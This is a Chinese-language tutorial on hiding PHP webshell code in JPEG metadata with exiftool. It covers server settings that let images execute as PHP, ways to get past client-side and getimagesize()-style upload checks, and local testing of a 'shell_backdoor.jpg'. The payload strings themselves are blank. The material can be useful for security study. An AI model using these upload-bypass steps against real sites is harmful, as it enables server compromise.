exiftool 可将 PHP 代码写入 JPEG 的 Comment 或 APP1 段而不破坏图片结构,但执行需服务器配置支持(如 Apache AddType 或 Nginx fastcgi_pass),且绕过校验依赖保持文件头(FF D8 FF)和 MIME 识别为 image/jpeg。

exiftool 能不能直接写入 PHP 代码到图片里
能,但不是“写入 PHP 马”,而是把 PHP 代码作为无效的 EXIF 元数据塞进图片头部——多数 PHP 环境在 move_uploaded_file() 后未重命名或未校验文件内容,且服务器配置为解析 .jpg.php 或 .jpg 后缀(如 Apache 的 AddType application/x-httpd-php .jpg),才会触发执行。
常见错误现象:exiftool -Comment="" shell.jpg 后上传,但访问返回 404 或纯文本显示,说明后端没启用该后缀解析,或 Nginx/Apache 没配 MIME 类型映射。
- 必须确认目标服务器支持将图片后缀(如
.jpg)交由 PHP 解析器处理,否则只是个带垃圾注释的正常图片 -
exiftool修改的是 JPEG 的 APP1/APP2 段或 Comment 字段,不破坏图片结构,但某些 WAF 或后端校验会提取并丢弃非标准字段 - PHP 代码需避开单双引号冲突,推荐用
-Comment=''并确保引号嵌套正确
为什么上传后 PHP 代码不执行
根本原因不是 exiftool 没写进去,而是执行链断在了中间环节。典型断点有三个:
- Web 服务器未配置
.jpg关联 PHP 处理器(Apache 需AddType,Nginx 需location ~ \.jpg$ { fastcgi_pass ... }) - PHP 配置禁用了危险函数(
disable_functions = exec,system,shell_exec),导致@eval无效果 - 上传后文件被移动到非 Web 目录、或重命名为
xxx.jpg?123这类带参数路径,实际访问时无法命中
验证方式:上传后直接请求该 URL,用 curl -v http://target.com/uploads/shell.jpg 看响应头是否含 X-Powered-By: PHP,或响应体是否含 phpinfo() 输出。
立即学习“PHP免费学习笔记(深入)”;
怎么绕过前端 JS 和后端对图片格式的校验
前端 JS 校验(如 file.type === 'image/jpeg')完全可绕过;后端用 getimagesize() 或 exif_imagetype() 判断,这些函数只检查文件头,不扫描全文。
- 保持 JPEG 文件头不变(
FF D8 FF),在合法 APP1 段插入 PHP 代码,getimagesize()仍返回IMAGETYPE_JPEG - 避免使用
file_exists()或finfo_file()的 strict mode,后者可能因 Content-Type 不匹配而失败 - 若后端用
pathinfo($file)['extension']取扩展名,就别改后缀;若用mime_content_type(),则需确保 exiftool 写入后 MIME 仍被识别为image/jpeg
实操建议:exiftool -Comment="" -o shell_backdoor.jpg original.jpg,再用 file shell_backdoor.jpg 和 exiftool shell_backdoor.jpg | grep Comment 确认写入成功且类型未变。
Kali 中 exiftool 写入后怎么快速测试是否生效
别急着上传,先本地验证 payload 是否干净、是否会被杀软拦截、是否语法合法。
- 用
exiftool -Comment shell_backdoor.jpg看输出是否完整显示 PHP 代码(注意转义问题) - 用
strings shell_backdoor.jpg | grep -n " 确保字符串未被截断或编码污染 - 起一个临时 PHP 服务:
php -S 127.0.0.1:8000 -t ./uploads,把图片放进去,浏览器访问http://127.0.0.1:8000/shell_backdoor.jpg - 如果报错
Parse error: syntax error,说明 PHP 代码里混入了不可见字符(exiftool 默认加 UTF-8 BOM),加参数-encoding Latin重试
真正难的从来不是写入,而是让那个 .jpg 文件,在经过前端、WAF、后端校验、文件移动、Web 服务器路由之后,还能被当成 PHP 执行——每个环节都可能静默失败,且不报错。











